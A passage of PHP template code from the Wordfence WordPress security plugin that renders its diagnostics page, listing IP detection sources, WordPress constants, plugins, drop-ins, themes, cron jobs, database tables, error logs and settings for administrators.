nl2br(esc_html($result['message']))); ?></div> <?php else: ?> <div class="wf-result-error"><?php echo (is_array($result['message']) && isset($result['message']['escaped']) ? $result['message']['escaped'] : nl2br(esc_html($result['message']))); ?></div> <?php endif ?> <?php if (isset($result['detail']) && !empty($result['detail'])): ?> <p><strong><?php esc_html_e('Additional Detail', 'wordfence'); ?></strong><br><?php echo (is_array($result['detail']) && isset($result['detail']['escaped']) ? $result['detail']['escaped'] : nl2br(esc_html($result['detail']))); ?></p> <?php endif; ?> </td> </tr> <?php endforeach ?> </tbody> </table> <?php else: ?> <div class="wf-block<?php echo (wfPersistenceController::shared()->isActive($key) ? ' wf-active' : '') . ($hasFailingTest ? ' wf-diagnostic-fail' : '') ?>" data-persistence-key="<?php echo esc_attr($key) ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php echo esc_html($title) ?></strong> <span class="wf-text-small"><?php echo esc_html($tests['description']) ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive($key) ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix"> <ul class="wf-block-list"> <?php foreach ($tests['results'] as $key => $result): ?> <?php $infoOnly = isset($result['infoOnly']) && $result['infoOnly']; ?> <li> <div style="width: 75%; min-width: 300px;"><?php echo (is_array($result['label']) && isset($result['label']['raw']) && $result['label']['raw'] ? $result['label']['value'] : wp_kses($result['label'], array( 'code' => array(), 'strong' => array(), 'em' => array(), 'a' => array('href' => true), ))) ?></div> <div class="wf-right"> <?php if ($infoOnly): ?> <div class="wf-result-info"><?php echo (is_array($result['message']) && isset($result['message']['escaped']) ? $result['message']['escaped'] : nl2br(esc_html($result['message']))); ?></div> <?php elseif ($result['test']): ?> <div class="wf-result-success"><?php echo (is_array($result['message']) && isset($result['message']['escaped']) ? $result['message']['escaped'] : nl2br(esc_html($result['message']))); ?></div> <?php else: ?> <div class="wf-result-error"><?php echo (is_array($result['message']) && isset($result['message']['escaped']) ? $result['message']['escaped'] : nl2br(esc_html($result['message']))); ?></div> <?php endif ?> <?php if (isset($result['detail']) && !empty($result['detail'])): ?> <p><a href="#" onclick="jQuery('#wf-diagnostics-detail-<?php echo esc_attr($key); ?>').show(); jQuery(this).hide(); return false;" role="button"><?php esc_html_e('View Additional Detail', 'wordfence'); ?></a></p> <pre class="wf-pre wf-split-word" id="wf-diagnostics-detail-<?php echo esc_attr($key); ?>" style="max-width: 600px; display: none;"><?php echo (is_array($result['detail']) && isset($result['detail']['escaped']) ? $result['detail']['escaped'] : nl2br(esc_html($result['detail']))); ?></pre> <?php endif; ?> </div> </li> <?php endforeach ?> </ul> </div> </div> <?php endif ?> <?php endforeach ?> <?php $howGet = wfConfig::get('howGetIPs', false); list($currentIP, $currentServerVarForIP) = wfUtils::getIPAndServerVariable(); $howGetHasErrors = $howGet && (! $currentServerVarForIP || $howGet !== $currentServerVarForIP); ?> <div class="wf-block<?php echo ($howGetHasErrors ? ' wf-diagnostic-fail' : '') . (wfPersistenceController::shared()->isActive('wf-diagnostics-client-ip') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-client-ip') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('IP Detection', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('Methods of detecting a visitor\'s IP address.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-client-ip') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix wf-padding-no-left wf-padding-no-right"> <table class="wf-striped-table"<?php echo !empty($inEmail) ? ' border=1' : '' ?>> <tbody class="thead"> <tr> <th><?php esc_html_e('IPs', 'wordfence'); ?></th> <th><?php esc_html_e('Value', 'wordfence'); ?></th> <th><?php esc_html_e('Used', 'wordfence'); ?></th> </tr> </tbody> <tbody> <?php $serverVariables = array( 'REMOTE_ADDR' => 'REMOTE_ADDR', 'HTTP_CF_CONNECTING_IP' => 'CF-Connecting-IP', 'HTTP_X_REAL_IP' => 'X-Real-IP', 'HTTP_X_FORWARDED_FOR' => 'X-Forwarded-For', ); foreach (wfUtils::getAllServerVariableIPs() as $variable => $ip): ?> <tr> <td><?php echo isset($serverVariables[$variable]) ? $serverVariables[$variable] : $variable ?></td> <td><?php if (! $ip) { _e('(not set)', 'wordfence'); } elseif (is_array($ip)) { $output = array_map('esc_html', $ip); echo str_replace($currentIP, "<strong>{$currentIP}</strong>", implode(', ', $output)); } else { echo esc_html($ip); } ?></td> <?php if ($currentServerVarForIP && $currentServerVarForIP === $variable): ?> <td class="wf-result-success"><?php esc_html_e('In use', 'wordfence'); ?></td> <?php elseif ($howGet === $variable): ?> <td class="wf-result-error"><?php esc_html_e('Configured but not valid', 'wordfence'); ?></td> <?php else: ?> <td></td> <?php endif ?> </tr> <?php endforeach ?> <tr> <td><?php esc_html_e('Trusted Proxies', 'wordfence'); ?></td> <td><?php $proxies = wfConfig::get('howGetIPs_trusted_proxies', ''); echo esc_html(implode(', ', explode("\n", empty($proxies) ? __('(not set)', 'wordfence') : $proxies))); ?></td> <td></td> </tr> <tr> <td><?php esc_html_e('Trusted Proxy Preset', 'wordfence'); ?></td> <td><?php $preset = wfConfig::get('howGetIPs_trusted_proxy_preset'); $presets = wfConfig::getJSON('ipResolutionList', array()); echo esc_html((is_array($presets) && isset($presets[$preset])) ? $presets[$preset]['name'] : __('(not set)', 'wordfence')); ?></td> <td></td> </tr> </tbody> </table> </div> </div> <div class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-wordpress-constants') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-wordpress-constants') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('WordPress Settings', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('WordPress version and internal settings/constants.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-wordpress-constants') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix wf-padding-no-left wf-padding-no-right"> <table class="wf-striped-table"<?php echo !empty($inEmail) ? ' border=1' : '' ?>> <tbody> <?php foreach (wfDiagnostic::getWordpressValues() as $settingName => $settingData): $escapedName = esc_html($settingName); $escapedDescription = ''; $escapedValue = __('(not set)', 'wordfence'); if (is_array($settingData)) { $escapedDescription = esc_html($settingData['description']); if (isset($settingData['value'])) { $escapedValue = esc_html($settingData['value']); } } else { $escapedDescription = esc_html($settingData); if (defined($settingName)) { $escapedValue = esc_html(constant($settingName)); } } ?> <tr> <td><strong><?php echo $escapedName ?></strong></td> <td><?php echo $escapedDescription ?></td> <td><?php echo $escapedValue ?></td> </tr> <?php endforeach ?> </tbody> </table> </div> </div> <div class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-wordpress-plugins') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-wordpress-plugins') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('WordPress Plugins', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('Status of installed plugins.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-wordpress-plugins') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix wf-padding-no-left wf-padding-no-right"> <table class="wf-striped-table"<?php echo !empty($inEmail) ? ' border=1' : '' ?>> <tbody> <?php foreach ($plugins as $plugin => $pluginData): ?> <?php $slug = $plugin; if (preg_match('/^([^\/]+)\//', $plugin, $matches)) { $slug = $matches[1]; } else if (preg_match('/^([^\/.]+)\.php$/', $plugin, $matches)) { $slug = $matches[1]; } ?> <tr> <td> <strong><?php echo esc_html($pluginData['Name']); ?> (<?php echo esc_html($slug); ?>)</strong> <?php if (!empty($pluginData['Version'])): ?> - <?php echo esc_html(sprintf(__('Version %s', 'wordfence'), $pluginData['Version'])); ?> <?php endif ?> </td> <?php if (array_key_exists(trailingslashit(WP_PLUGIN_DIR) . $plugin, $activeNetworkPlugins)): ?> <td class="wf-result-success"><?php esc_html_e('Network Activated', 'wordfence'); ?></td> <?php elseif (array_key_exists($plugin, $activePlugins)): ?> <td class="wf-result-success"><?php esc_html_e('Active', 'wordfence'); ?></td> <?php else: ?> <td class="wf-result-inactive"><?php esc_html_e('Inactive', 'wordfence'); ?></td> <?php endif ?> </tr> <?php endforeach ?> </tbody> </table> </div> </div> <div class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-mu-wordpress-plugins') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-mu-wordpress-plugins') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('Must-Use WordPress Plugins', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('WordPress "mu-plugins" that are always active, including those provided by hosts.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-mu-wordpress-plugins') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix wf-padding-no-left wf-padding-no-right"> <table class="wf-striped-table"<?php echo !empty($inEmail) ? ' border=1' : '' ?>> <?php if (!empty($muPlugins)): ?> <tbody> <?php foreach ($muPlugins as $plugin => $pluginData): ?> <?php $slug = $plugin; if (preg_match('/^([^\/]+)\//', $plugin, $matches)) { $slug = $matches[1]; } else if (preg_match('/^([^\/.]+)\.php$/', $plugin, $matches)) { $slug = $matches[1]; } ?> <tr> <td> <strong><?php echo esc_html($pluginData['Name']) ?> (<?php echo esc_html($slug); ?>)</strong> <?php if (!empty($pluginData['Version'])): ?> - <?php echo esc_html(sprintf(/* translators: Plugin version. */ __('Version %s', 'wordfence'), $pluginData['Version'])); ?> <?php endif ?> </td> <td class="wf-result-success"><?php esc_html_e('Active', 'wordfence'); ?></td> </tr> <?php endforeach ?> </tbody> <?php else: ?> <tbody> <tr> <td><?php esc_html_e('No MU-Plugins', 'wordfence'); ?></td> </tr> </tbody> <?php endif ?> </table> </div> </div> <div class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-dropin-wordpress-plugins') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-dropin-wordpress-plugins') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('Drop-In WordPress Plugins', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('WordPress "drop-in" plugins that are active.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-dropin-wordpress-plugins') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix wf-padding-no-left wf-padding-no-right"> <table class="wf-striped-table"<?php echo !empty($inEmail) ? ' border=1' : '' ?>> <tbody> <?php //Taken from plugin.php and modified to always show multisite drop-ins $dropins = array( 'advanced-cache.php' => array( __( 'Advanced caching plugin', 'wordfence' ), 'WP_CACHE' ), // WP_CACHE 'db.php' => array( __( 'Custom database class', 'wordfence' ), true ), // auto on load 'db-error.php' => array( __( 'Custom database error message', 'wordfence' ), true ), // auto on error 'install.php' => array( __( 'Custom installation script', 'wordfence' ), true ), // auto on installation 'maintenance.php' => array( __( 'Custom maintenance message', 'wordfence' ), true ), // auto on maintenance 'object-cache.php' => array( __( 'External object cache', 'wordfence' ), true ), // auto on load 'php-error.php' => array( __( 'Custom PHP error message', 'wordfence' ), true ), // auto on error 'fatal-error-handler.php'=> array( __( 'Custom PHP fatal error handler', 'wordfence' ), true ), // auto on error ); $dropins['sunrise.php' ] = array( __( 'Executed before Multisite is loaded', 'wordfence' ), is_multisite() && 'SUNRISE' ); // SUNRISE $dropins['blog-deleted.php' ] = array( __( 'Custom site deleted message', 'wordfence' ), is_multisite() ); // auto on deleted blog $dropins['blog-inactive.php' ] = array( __( 'Custom site inactive message', 'wordfence' ), is_multisite() ); // auto on inactive blog $dropins['blog-suspended.php'] = array( __( 'Custom site suspended message', 'wordfence' ), is_multisite() ); // auto on archived or spammed blog ?> <?php foreach ($dropins as $file => $data): ?> <?php $active = file_exists(WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $file) && is_readable(WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $file) && $data[1]; ?> <tr> <td> <strong><?php echo esc_html($data[0]) ?> (<?php echo esc_html($file); ?>)</strong> </td> <?php if ($active): ?> <td class="wf-result-success"><?php esc_html_e('Active', 'wordfence'); ?></td> <?php else: ?> <td class="wf-result-inactive"><?php esc_html_e('Inactive', 'wordfence'); ?></td> <?php endif; ?> </tr> <?php endforeach ?> </tbody> </table> </div> </div> <div class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-wordpress-themes') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-wordpress-themes') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('Themes', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('Status of installed themes.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-wordpress-themes') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix wf-padding-no-left wf-padding-no-right"> <table class="wf-striped-table"<?php echo !empty($inEmail) ? ' border=1' : '' ?>> <?php if (!empty($themes)): ?> <tbody> <?php foreach ($themes as $theme => $themeData): ?> <?php $slug = $theme; if (preg_match('/^([^\/]+)\//', $theme, $matches)) { $slug = $matches[1]; } else if (preg_match('/^([^\/.]+)\.php$/', $theme, $matches)) { $slug = $matches[1]; } ?> <tr> <td> <strong><?php echo esc_html($themeData['Name']) ?> (<?php echo esc_html($slug); ?>)</strong> <?php if (!empty($themeData['Version'])): ?> - <?php echo esc_html(sprintf(/* translators: Theme version. */ __('Version %s', 'wordfence'), $themeData['Version'])); ?> <?php endif ?> <?php if ($currentTheme instanceof WP_Theme && $theme === $currentTheme->get_stylesheet()): ?> <td class="wf-result-success"><?php esc_html_e('Active', 'wordfence'); ?></td> <?php else: ?> <td class="wf-result-inactive"><?php esc_html_e('Inactive', 'wordfence'); ?></td> <?php endif ?> </tr> <?php endforeach ?> </tbody> <?php else: ?> <tbody> <tr> <td><?php esc_html_e('No Themes', 'wordfence'); ?></td> </tr> </tbody> <?php endif ?> </table> </div> </div> <div class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-wordpress-cron-jobs') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-wordpress-cron-jobs') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('Cron Jobs', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('List of WordPress cron jobs scheduled by WordPress, plugins, or themes.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-wordpress-cron-jobs') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix wf-padding-no-left wf-padding-no-right"> <table class="wf-striped-table"<?php echo !empty($inEmail) ? ' border=1' : '' ?>> <tbody> <?php $cron = _get_cron_array(); foreach ($cron as $timestamp => $values) { if (is_array($values)) { foreach ($values as $cron_job => $v) { if (is_numeric($timestamp)) { $overdue = ((time() - 1800) > $timestamp); ?> <tr<?php echo $overdue ? ' class="wf-overdue-cron"' : ''; ?>> <td><?php echo esc_html(date('r', $timestamp)) . ($overdue ? ' <strong>(' . esc_html__('Overdue', 'wordfence') . ')</strong>' : '') ?></td> <td><?php echo esc_html($cron_job) ?></td> </tr> <?php } } } } ?> </tbody> </table> </div> </div> <?php global $wpdb; $wfdb = new wfDB(); //This must be done this way because MySQL with InnoDB tables does a full regeneration of all metadata if we don't. That takes a long time with a large table count. $tables = $wfdb->querySelect('SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() ORDER BY TABLE_NAME ASC LIMIT 250'); $total = $wfdb->querySingle('SELECT COUNT(*) FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()'); foreach ($tables as &$t) { $t = "'" . esc_sql($t['TABLE_NAME']) . "'"; } unset($t); $q = $wfdb->querySelect("SHOW TABLE STATUS WHERE Name IN (" . implode(',', $tables) . ')'); if ($q): $databaseCols = count($q[0]); ?> <div class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-database-tables') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-database-tables') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('Database Tables', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('Database table names, sizes, timestamps, and other metadata.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-database-tables') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix wf-padding-no-left wf-padding-no-right"> <ul class="wf-block-list wf-padding-add-left-large wf-padding-add-right-large"> <li> <div style="width: 75%; min-width: 300px;"><?php esc_html_e('Wordfence Table Check', 'wordfence'); ?></div> <div class="wf-right"> <?php if ($total > 250): ?> <div class="wf-result-info"><?php esc_html_e('Unable to verify - table count too high', 'wordfence'); ?></div> <?php else: $hasAll = true; $schemaTables = wfSchema::tableList(); $existingTables = wfUtils::array_column($q, 'Name'); if (WFWAF_IS_WINDOWS) { $existingTables = wfUtils::array_strtolower($existingTables); } //Windows MySQL installations are case-insensitive $missingTables = array(); foreach ($schemaTables as $t) { $table = wfDB::networkTable($t); if (WFWAF_IS_WINDOWS) { $table = strtolower($table); } if (!in_array($table, $existingTables)) { $hasAll = false; $missingTables[] = $t; } } foreach ( array( \WordfenceLS\Controller_DB::TABLE_2FA_SECRETS, \WordfenceLS\Controller_DB::TABLE_SETTINGS, ) as $t) { $table = \WordfenceLS\Controller_DB::network_table($t); if (!in_array($table, $existingTables)) { $hasAll = false; $missingTables[] = $t; } } if ($hasAll): ?> <div class="wf-result-success"><?php esc_html_e('All Tables Exist', 'wordfence'); ?></div> <?php else: ?> <div class="wf-result-error"><?php echo esc_html(sprintf( /* translators: 1. WordPress table prefix. 2. Wordfence table case. 3. List of database tables. */ __('Tables missing (prefix %1$s, %2$s): %3$s', 'wordfence'), wfDB::networkPrefix(), wfSchema::usingLowercase() ? __('lowercase', 'wordfence') : __('regular case', 'wordfence'), implode(', ', $missingTables))); ?></div> <?php endif; ?> <?php endif; ?> </div> </li> <li style="border-bottom: 1px solid #e2e2e2;"> <div style="width: 75%; min-width: 300px;"><?php esc_html_e('Number of Database Tables', 'wordfence'); ?></div> <div class="wf-right"> <div class="wf-result-info"><?php echo esc_html( $total ); ?></div> </div> </li> </ul> <div class="wf-add-top-large" style="max-width: 100%; overflow: auto; padding: 1px;"> <table class="wf-striped-table"<?php echo !empty($inEmail) ? ' border=1' : '' ?>> <tbody class="thead thead-subhead" style="font-size: 85%"> <?php $val = wfUtils::array_first($q); $actualKeyOrder = array_keys($val); $preferredKeyOrder = array('Name', 'Comment', 'Engine', 'Rows', 'Avg_row_length', 'Data_length', 'Index_length', 'Auto_increment', 'Create_time', 'Row_format', 'Collation', 'Version', 'Max_data_length', 'Data_free', 'Update_time', 'Check_time', 'Checksum', 'Create_options'); $leftoverKeys = array(); $displayKeyOrder = array(); foreach ($preferredKeyOrder as $k) { if (in_array($k, $actualKeyOrder)) { $displayKeyOrder[] = $k; } } $diff = array_diff($actualKeyOrder, $preferredKeyOrder); $displayKeyOrder = array_merge($displayKeyOrder, $diff); ?> <tr> <?php foreach ($displayKeyOrder as $tkey): ?> <th><?php echo esc_html($tkey) ?></th> <?php endforeach; ?> </tr> </tbody> <tbody style="font-size: 85%"> <?php $count = 0; foreach ($q as $val) { ?> <tr> <?php foreach ($displayKeyOrder as $tkey): ?> <td><?php if (isset($val[$tkey])) { echo esc_html($val[$tkey]); } ?></td> <?php endforeach; ?> </tr> <?php $count++; if ($count >= 250 && $total > $count) { ?> <tr> <td colspan="<?php echo $databaseCols; ?>"><?php echo esc_html(sprintf(/* translators: Row/record count. */ __('and %d more', 'wordfence'), $total - $count)); ?></td> </tr> <?php break; } } ?> </tbody> </table> </div> </div> </div> <?php endif ?> <div class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-log-files') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-log-files') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('Log Files', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('PHP error logs generated by your site, if enabled by your host.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-log-files') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix wf-padding-no-left wf-padding-no-right"> <div style="max-width: 100%; overflow: auto; padding: 1px;"> <table class="wf-striped-table"<?php echo !empty($inEmail) ? ' border=1' : '' ?>> <tbody class="thead thead-subhead" style="font-size: 85%"> <tr> <th><?php esc_html_e('File', 'wordfence'); ?></th> <th><?php esc_html_e('Download', 'wordfence'); ?></th> </tr> </tbody> <tbody style="font-size: 85%"> <?php $errorLogs = wfErrorLogHandler::getErrorLogs(); if (count($errorLogs) < 1): ?> <tr> <td colspan="2"><em><?php esc_html_e('No log files found.', 'wordfence'); ?></em></td> </tr> <?php else: foreach ($errorLogs as $log => $readable): ?> <?php $metadata = array(); if (is_callable('filesize')) { $rawSize = @filesize($log); if ($rawSize !== false) { $metadata[] = wfUtils::formatBytes(filesize($log)); } } if (is_callable('lstat')) { $rawStat = @lstat($log); if (is_array($rawStat) && isset($rawStat['mtime'])) { $ts = $rawStat['mtime']; $utc = new DateTimeZone('UTC'); $dtStr = gmdate("c", (int) $ts); //Have to do it this way because of PHP 5.2 $dt = new DateTime($dtStr, $utc); $metadata[] = $dt->format('M j, Y G:i:s') . ' ' . __('UTC', 'wordfence'); } } $shortLog = $log; if (strpos($shortLog, ABSPATH) === 0) { $shortLog = '~/' . substr($shortLog, strlen(ABSPATH)); } ?> <tr> <td style="width: 100%"><?php echo esc_html($shortLog); if (!empty($metadata)) { echo ' (' . esc_html(implode(', ', $metadata)) . ')'; } ?></td> <td style="white-space: nowrap; text-align: right;"><?php echo($readable ? '<a href="#" data-logfile="' . esc_attr($log) . '" class="downloadLogFile" target="_blank" rel="noopener noreferrer" role="button">' . esc_html__('Download', 'wordfence') . '<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>' : '<em>' . esc_html__('Requires downloading from the server directly', 'wordfence') . '</em>'); ?></td> </tr> <?php endforeach; endif; ?> </tbody> </table> </div> </div> </div> </div> <?php if (!empty($inEmail)) { echo '<h1>' . esc_html__('Scan Issues', 'wordfence') . "</h1>\n"; $issues = wfIssues::shared()->getIssues(0, 50, 0, 50); $issueCounts = array_merge(array('new' => 0, 'ignoreP' => 0, 'ignoreC' => 0), wfIssues::shared()->getIssueCounts()); $issueTypes = wfIssues::validIssueTypes(); echo '<h2>' . esc_html(sprintf(/* translators: Number of scan issues. */ __('New Issues (%d total)', 'wordfence'), $issueCounts['new'])) . "</h2>\n"; if (isset($issues['new']) && count($issues['new'])) { foreach ($issues['new'] as $i) { if (!in_array($i['type'], $issueTypes)) { continue; } $viewContent = ''; try { $viewContent = wfView::create('scanner/issue-' . $i['type'], array('textOutput' => $i))->render(); } catch (wfViewNotFoundException $e) { //Ignore -- should never happen since we validate the type } if (!empty($viewContent)) { echo nl2br($viewContent) . "<br><br>\n"; } } } else { echo '<h1>' . esc_html__('No New Issues', 'wordfence') . "</h1>\n"; } } ?> <?php if (!empty($inEmail)): ?> <div class="wf-diagnostics-wrapper"> <div class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-wordfence-settings') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-wordfence-settings') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('Wordfence Settings', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('Diagnostic Wordfence settings/constants.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-wordfence-settings') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix wf-padding-no-left wf-padding-no-right"> <table class="wf-striped-table"<?php echo !empty($inEmail) ? ' border=1' : '' ?>> <tbody> <?php foreach (wfDiagnostic::getWordfenceValues() as $settingName => $settingData): if (isset($settingData['subheader'])) { ?> <tr> <td colspan="2"><strong><?php echo esc_html($settingData['subheader']) ?></strong></td> </tr> <?php continue; } $escapedDescription = strip_tags($settingData['description']); $escapedValue = __('(not set)', 'wordfence'); if (isset($settingData['value'])) { $escapedValue = nl2br(strip_tags($settingData['value'])); } ?> <tr> <td><?php echo $escapedDescription ?></td> <td><?php echo $escapedValue ?></td> </tr> <?php endforeach ?> </tbody> </table> </div> </div> </div> <?php endif ?> <?php if (!empty($inEmail)): ?> <div class="wf-diagnostics-wrapper"> <div class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-wordfence-central') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-wordfence-central') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('Wordfence Central', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('Diagnostic connection information for Wordfence Central.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-wordfence-central') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix wf-padding-no-left wf-padding-no-right"> <table class="wf-striped-table"<?php echo !empty($inEmail) ? ' border=1' : '' ?>> <tbody> <?php foreach (wfDiagnostic::getWordfenceCentralValues() as $settingName => $settingData): if (isset($settingData['subheader'])) { ?> <tr> <td colspan="2"><strong><?php echo esc_html($settingData['subheader']) ?></strong></td> </tr> <?php continue; } $escapedDescription = strip_tags($settingData['description']); $escapedValue = __('(not set)', 'wordfence'); if (isset($settingData['value'])) { $escapedValue = nl2br(strip_tags($settingData['value'])); } ?> <tr> <td><?php echo $escapedDescription ?></td> <td><?php echo $escapedValue ?></td> </tr> <?php endforeach ?> </tbody> </table> </div> </div> </div> <?php endif ?> <?php if (!empty($inEmail)): ?> <?php if (wfUtils::funcEnabled('phpinfo')) { phpinfo(); } else { echo '<strong>' . esc_html__('Unable to output phpinfo content because it is disabled', 'wordfence') . "</strong>\n"; } ?> <?php endif ?> <?php if (!empty($emailForm)): ?> <div class="wf-diagnostics-wrapper"> <div id="wf-diagnostics-other-tests" class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-other-tests') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-other-tests') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('Other Tests', 'wordfence') ?></strong> <span class="wf-text-small"><?php esc_html_e('System configuration, memory test, send test email from this server.', 'wordfence') ?></span> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-other-tests') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix"> <ul class="wf-block-list"> <li> <span> <a href="<?php echo wfUtils::siteURLRelative(); ?>?_wfsf=sysinfo&nonce=<?php echo wp_create_nonce('wp-ajax'); ?>" target="_blank" rel="noopener noreferrer"><?php esc_html_e('Click to view your system\'s configuration in a new window', 'wordfence'); ?><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a> <a href="<?php echo wfSupportController::esc_supportURL(wfSupportController::ITEM_DIAGNOSTICS_SYSTEM_CONFIGURATION); ?>" target="_blank" rel="noopener noreferrer" class="wfhelp wf-inline-help"><span 